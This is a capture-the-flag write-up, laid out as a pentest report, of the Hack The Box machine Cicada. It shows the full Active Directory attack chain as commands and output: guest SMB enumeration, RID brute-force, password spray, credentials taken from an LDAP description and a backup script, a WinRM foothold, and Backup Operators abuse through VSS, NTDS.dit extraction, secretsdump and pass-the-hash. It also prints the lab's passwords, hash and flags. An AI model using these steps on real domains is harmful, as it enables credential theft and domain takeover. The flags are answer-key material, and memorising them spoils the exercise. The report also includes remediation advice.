← Writeups
HTB - Cicada badge

2026-05-21 • htb • easy • windows

HTB - Cicada

Guest SMB access exposes an HR share containing a default password in a staff notice. RID brute-force enumerates domain users, and a password spray yields initial access as michael.wrightson. LDAP user enumeration reveals a second password stored in david.orelious's account description. His access to the DEV share exposes a PowerShell backup script containing emily.oscars's credentials. Emily's membership in Remote Management Users grants a WinRM foothold. Her Backup Operators membership is abused to snapshot the C volume via VSS, extract NTDS.dit, and dump the Administrator NTLM hash for a pass-the-hash login.

smb-enumerationrid-brutepassword-spraypassword-in-descriptionbackup-operatorsvss-shadow-copyntds-dumppass-the-hash nmapnetexecsmbclientldapsearchevil-winrmsecretsdumpbloodhound

Hack The Box — Cicada

Easy | Windows | Hack The Box


FieldValue
Report Date21 May 2026
Assessed ByRobInTheHood
Target IP10.129.231.149
HostnameCICADA-DC
Domaincicada.htb

Table of Contents

  1. Executive Summary
  2. Scope
  3. Methodology
  4. Attack Chain Summary
  5. Findings
  6. Proof of Access
  7. Credentials Discovered
  8. Impact Assessment
  9. Remediation Summary
  10. Key Takeaways
  11. Tools Used
  12. Disclaimer

1. Executive Summary

This report documents the compromise workflow for the Hack The Box machine Cicada. The objective was to obtain full system-level access in an authorised lab environment and document the attack path with reproducible evidence.

An SMB share accessible by the guest account contains an HR notice that discloses a default onboarding password. RID brute-force enumerates all domain user accounts, and a password spray identifies michael.wrightson as the recipient. Authenticated LDAP enumeration reveals a plaintext password stored in david.orelious’s account description field. His privileges expose the DEV share, which holds a PowerShell backup script containing the credentials of emily.oscars. Emily’s membership in the Remote Management Users group allows a WinRM connection via evil-winrm. Her membership in Backup Operators is then abused to create a VSS shadow copy of the C volume, extract NTDS.dit, and dump the domain Administrator NTLM hash using secretsdump. A pass-the-hash login completes the full domain compromise.


2. Scope

FieldValue
Target IP10.129.231.149
HostnameCICADA-DC
Domaincicada.htb
Operating SystemWindows Server 2022 Build 20348
Machine RatingEasy
EnvironmentHack The Box — Authorised Training Lab
Assessment Date21 May 2026
AssessorRobInTheHood

3. Methodology

  • Reconnaissance — service discovery and external attack-surface mapping
  • Enumeration — credential, configuration, and trust-path analysis
  • Exploitation — initial access through validated vulnerability paths
  • Lateral Movement — privilege pivoting and cross-context execution
  • Privilege Escalation — full compromise to root/SYSTEM context
  • Post-Exploitation — proof collection and impact-oriented validation

4. Attack Chain Summary

PhaseTechniqueMITRE ATT&CK
ReconNmap — DNS, Kerberos, LDAP, SMB surface mappedT1046
EnumerationGuest SMB → HR share → default password in staff noticeT1135
EnumerationRID brute-force → domain user listT1087.002
Initial AccessPassword spray → michael.wrightson authenticatedT1110.003
EnumerationLDAP user dump → password in david.orelious description fieldT1552.001
Lateral MovementDEV share → Backup_script.ps1emily.oscars credentialsT1552.001
Initial FootholdWinRM as emily.oscars → user flagT1021.006
Privilege EscalationBackup Operators → VSS snapshot → NTDS.dit extraction → Admin NTLM hashT1003.003 · T1550.002

5. Findings

F-01 — Technical Walkthrough

Reconnaissance

nmap -sC -sV 10.129.231.149 -oN nmap.txt
PortService
53/tcpDNS
88/tcpKerberos
135/tcpMSRPC
139/tcpNetBIOS-SSN
389/tcpLDAP
445/tcpSMB2

The presence of Kerberos (88) and LDAP (389) alongside SMB confirms a Domain Controller. The combination of a guest-accessible SMB and a writable IPC$ makes unauthenticated enumeration the natural starting point.


Enumeration — SMB Guest Access

Initial SMB enumeration with a null/guest session reveals the share layout:

nxc smb 10.129.231.149 -u 'guest' -p '' --shares
Share       Permissions     Remark
-----       -----------     ------
ADMIN$                      Remote Admin
C$                          Default share
DEV
HR          READ
IPC$        READ            Remote IPC
NETLOGON                    Logon server share
SYSVOL                      Logon server share

The HR share is readable without credentials. Connecting to it reveals a staff notice:

smbclient //cicada.htb/HR -U ''
smb: \> ls
  Notice from HR.txt   A   1266   Wed Aug 28 13:31:48 2024

The notice contains a domain-wide default onboarding password:

New Hire
Your default password is: Cicada$M6Corpb*@Lp#nZp!8

A password without a username calls for user enumeration before any authentication can be attempted.


Enumeration — RID Brute-Force

nxc smb 10.129.231.149 -u 'guest' -p '' --rid-brute 2>/dev/null | grep "SidTypeUser"
500: CICADA\Administrator
501: CICADA\Guest
502: CICADA\krbtgt
1000: CICADA\CICADA-DC$
1104: CICADA\john.smoulder
1105: CICADA\sarah.dantelia
1106: CICADA\michael.wrightson
1108: CICADA\david.orelious
1601: CICADA\emily.oscars

Initial Access — Password Spray

The recovered default password is tested against the enumerated user list via LDAP authentication:

ldapsearch -x -H ldap://10.129.231.149 -b "DC=cicada,DC=htb" \
  -D "michael.wrightson@cicada.htb" -w 'Cicada$M6Corpb*@Lp#nZp!8'

Authentication succeeds for michael.wrightson, confirming the credential pair:

michael.wrightson : Cicada$M6Corpb*@Lp#nZp!8

Enumeration — Password in Account Description

With valid credentials, authenticated LDAP enumeration surfaces all domain users and their description fields:

nxc ldap 10.129.231.149 -u "michael.wrightson@cicada.htb" \
  -p 'Cicada$M6Corpb*@Lp#nZp!8' -k --users
-Username-          -Last PW Set-       -BadPW-  -Description-
Administrator       2024-08-26 16:08:03 0        Built-in account for administering...
Guest               2024-08-28 13:26:56 0        Built-in account for guest access...
krbtgt              2024-03-14 07:14:10 0        Key Distribution Center Service Account
john.smoulder       2024-03-14 08:17:29 0
sarah.dantelia      2024-03-14 08:17:29 1
michael.wrightson   2024-03-14 08:17:29 0
david.orelious      2024-03-14 08:17:29 0        Just in case I forget my password is aRt$Lp#7t*VQ!3
emily.oscars        2024-08-22 17:20:17 0

david.orelious has stored his password in the description attribute, a field world-readable by any authenticated domain user:

david.orelious : aRt$Lp#7t*VQ!3

Lateral Movement — DEV Share and Backup Script

Enumerating SMB shares with David’s credentials reveals access to the DEV share:

nxc smb 10.129.231.149 -u 'david.orelious@cicada.htb' -p 'aRt$Lp#7t*VQ!3' -k --shares
Share       Permissions
-----       -----------
DEV         READ
HR          READ
IPC$        READ
NETLOGON    READ
SYSVOL      READ
smbclient //cicada.htb/DEV -U 'david.orelious@cicada.htb' --use-kerberos
smb: \> ls
  Backup_script.ps1   A   601   Wed Aug 28 13:28:22 2024

The PowerShell backup script contains hardcoded credentials:

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
emily.oscars : Q!3@Lp#M6b*7t*Vt

Foothold — WinRM as emily.oscars

Emily’s SMB share permissions confirm elevated access:

nxc smb 10.129.231.149 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' -k --shares
Share       Permissions
-----       -----------
ADMIN$      READ
C$          READ,WRITE
HR          READ
IPC$        READ
NETLOGON    READ
SYSVOL      READ

BloodHound collection confirms Emily is a member of Remote Management Users, enabling a WinRM session:

evil-winrm -i 10.129.231.149 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents>

User Flag

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> dir "C:/Users/emily.oscars.CICADA/Desktop/"

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---         5/21/2026  10:08 PM             34 user.txt
USER FLAG : 809b8b7f6b65957f74ffa408194126ff

Privilege Escalation — Backup Operators → NTDS.dit Extraction

BloodHound identifies Emily as a member of Backup Operators. This group grants SeBackupPrivilege and SeRestorePrivilege, which bypass DACL checks on file reads — a well-known path to extracting NTDS.dit via Volume Shadow Copy.

Step 1 — Create a VSS shadow copy using a diskshadow script:

set verbose on
set metadata C:\Windows\Temp\meta.cab
set context persistent
begin backup
add volume C: alias myAlias
create
expose %myAlias% Z:
end backup
exit
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> upload /workspace/shadow.txt .
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> diskshadow /s shadow.txt

The shadow copy is exposed as Z:\.

Step 2 — Copy NTDS.dit from the shadow:

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> robocopy /b Z:\Windows\NTDS\ C:\Windows\Temp\ ntds.dit

Step 3 — Export SAM and SYSTEM hives:

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> reg save HKLM\SYSTEM SYSTEM.SAV
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> reg save HKLM\SAM SAM.SAV

Step 4 — Download and dump offline:

secretsdump -sam SAM.SAV -system SYSTEM.SAV -ntds ntds.dit LOCAL
[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::

Root Flag — Pass-the-Hash

evil-winrm -i 10.129.231.149 -u 'Administrator' -H "2b87e7c93a3e8a0ea4a581937016f341"
Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator> type "C:/Users/Administrator/Desktop/root.txt"
4a9b681568929984ac530fdc12d3521f

6. Proof of Access

LevelEvidence
User809b8b7f6b65957f74ffa408194126ff
Root4a9b681568929984ac530fdc12d3521f

7. Credentials Discovered

AccountSecretTypeSource
michael.wrightsonCicada$M6Corpb*@Lp#nZp!8Domain passwordDefault onboarding password in HR share notice
david.oreliousaRt$Lp#7t*VQ!3Domain passwordPlaintext in LDAP description attribute
emily.oscarsQ!3@Lp#M6b*7t*VtDomain passwordHardcoded in Backup_script.ps1 on DEV share
Administrator2b87e7c93a3e8a0ea4a581937016f341NTLM hashNTDS.dit dump via VSS + secretsdump

8. Impact Assessment

Successful exploitation resulted in full domain compromise through a chain of credential exposures rather than any single high-severity vulnerability. Each step was self-contained and relied entirely on misconfiguration: a default password broadcast in plaintext over SMB, a domain account self-documenting its own password in a world-readable field, a script storing credentials in cleartext on a network share, and a group membership that enables offline extraction of the entire domain credential store. No exploit code was required at any stage.


9. Remediation Summary

PriorityAction
CriticalEnforce unique, per-user initial passwords delivered out-of-band (e.g., encrypted email or in-person); never broadcast a domain-wide default password over a network share.
CriticalEnforce an AD policy that prohibits use of description, info, or any user-readable attribute for password storage; implement LAPS for local admin credentials.
CriticalRemove hardcoded credentials from scripts; use managed service accounts or a secrets manager (e.g., HashiCorp Vault, Windows Credential Manager with DPAPI).
HighAudit Backup Operators membership; the group effectively grants read access to all files on the system. Remove users who do not require offline backup duties.
HighRestrict SMB guest access; guest enumeration should return no shares and no user information.
MediumEnable SMB signing to prevent relay attacks against the same infrastructure.

10. Key Takeaways

  • A single shared default onboarding password across all new hires, stored on an anonymous-readable SMB share, collapses the entire initial-access phase to one file read.
  • The LDAP description attribute is world-readable by any authenticated domain user; it is regularly abused for credential storage and should be treated as a public field.
  • Backup Operators is a high-privilege group that receives little scrutiny compared to Domain Admins — yet it provides a direct, documented path to full domain credential extraction via VSS.
  • Credential chaining (HR notice → michael → david’s description → emily’s script → Administrator hash) is characteristic of real-world Active Directory environments where each account is slightly more privileged than the last.

11. Tools Used

ToolPurpose
nmapPort and service discovery
netexec (nxc)SMB share enumeration, RID brute-force, LDAP user dump, BloodHound collection
smbclientManual share browsing and file retrieval
ldapsearchAuthenticated LDAP query for initial credential validation
BloodHoundAD relationship analysis — group memberships and attack paths
evil-winrmWinRM foothold and pass-the-hash authentication
diskshadowVSS shadow copy creation for NTDS.dit access
secretsdumpOffline NTLM hash extraction from NTDS.dit + SYSTEM hive

12. Disclaimer

This assessment was performed exclusively in an authorised Hack The Box training environment for educational and portfolio purposes.


End of Report — Cicada | RobInTheHood | 21 May 2026